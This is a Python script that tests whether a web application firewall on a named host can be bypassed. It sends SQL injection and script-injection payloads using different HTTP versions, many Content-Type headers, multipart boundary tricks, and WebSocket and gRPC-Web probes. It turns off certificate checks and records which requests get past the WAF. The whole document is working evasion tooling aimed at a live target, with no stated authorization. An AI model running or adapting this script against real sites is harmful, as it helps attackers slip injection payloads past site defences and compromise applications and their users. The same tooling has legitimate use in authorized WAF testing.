import requests, urllib3, ssl
urllib3.disable_warnings()

TARGET = "https://regtest846.alwaysdata.net/"
SQ = {"q": "1' OR 1=1--"}
XSS = {"q": "<script>alert(1)</script>"}

def r(body, ct, path=""):
    try:
        rr = requests.post(TARGET + path, data=body, headers={"Content-Type": ct, "User-Agent": "Mozilla/5.0"}, verify=False, timeout=15)
        return rr.status_code, len(rr.text), ("blocked" if "blocked by WAF" in rr.text else ("app" if rr.status_code==200 else "?"))
    except Exception as e:
        return "ERR", str(e)[:60], ""

# Protocol variants for GET (query param) - the clear WAF vector
import subprocess

def curl_http2(q):
    p = subprocess.run(["curl.exe","-s","-k","--http2","-o","NUL","-w","%{http_code}",f"{TARGET}?q={q}","--max-time","15"],capture_output=True,text=True)
    return p.stdout.strip()

def curl_http11(q):
    p = subprocess.run(["curl.exe","-s","-k","--http1.1","-o","NUL","-w","%{http_code}",f"{TARGET}?q={q}","--max-time","15"],capture_output=True,text=True)
    return p.stdout.strip()

def curl_http10(q):
    p = subprocess.run(["curl.exe","-s","-k","--http1.0","-o","NUL","-w","%{http_code}",f"{TARGET}?q={q}","--max-time","15"],capture_output=True,text=True)
    return p.stdout.strip()

print("== HTTP version differential (GET q= SQLi) ==")
for q in ["hello", "1' OR 1=1--"]:
    print(f"  q={q!r}:  h1.1={curl_http11(q)}  h2={curl_http2(q)}  h1.0={curl_http10(q)}")

print("== Content-Type differential (POST body) ==")
cts = [
    ("application/json", SQ),
    ("application/graphql", SQ),
    ("text/json", SQ),
    ("application/problem+json", SQ),
    ("application/json-patch+json", SQ),
    ("application/merge-patch+json", SQ),
    ("application/geo+json", SQ),
    ("application/ld+json", SQ),
    ("application/hal+json", SQ),
    ("application/activity+json", SQ),
    ("application/manifest+json", SQ),
    ("application/vnd.api+json", SQ),
    ("application/csp-report", SQ),
    ("application/x-yaml", SQ),
    ("application/javascript", SQ),
    ("application/x-protobuf", SQ),
    ("application/grpc", SQ),
    ("application/x-www-form-urlencoded", SQ),
]
for ct, body in cts:
    import json
    b = json.dumps(body) if "json" in ct else "q=1%27%20OR%201=1--"
    code, ln, mark = r(b, ct)
    print(f"  {ct:38s} => {code} len={ln} [{mark}]")

print("== multipart boundary tricks (XSS) ==")
for sep in ["--x", "--x\r\nContent-Disposition: form-data; name=x", "oops"]:
    body = f"------x\r\nContent-Disposition: form-data; name=\"q\"\r\n\r\n<script>alert(1)</script>\r\n------x--\r\n"
    code, ln, mark = r(body, "multipart/form-data; boundary=----x")
    print(f"  multipart => {code} [{mark}]")
    break  # one is enough

print("== WebSocket upgrade probe ==")
p = subprocess.run(["curl.exe","-s","-k","-o","NUL","-w","%{http_code}","--max-time","15",
                    "-H","Upgrade: websocket","-H","Connection: Upgrade",
                    "-H","Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==","-H","Sec-WebSocket-Version: 13",
                    TARGET], capture_output=True, text=True)
print(f"  ws upgrade => {p.stdout.strip()}")

print("== gRPC-Web content probe ==")
p = subprocess.run(["curl.exe","-s","-k","-o","NUL","-w","%{http_code}","--max-time","15",
                    "-X","POST","-H","Content-Type: application/grpc-web+proto",
                    "--data-binary","@NUL",TARGET], capture_output=True, text=True)
print(f"  grpc-web => {p.stdout.strip()}")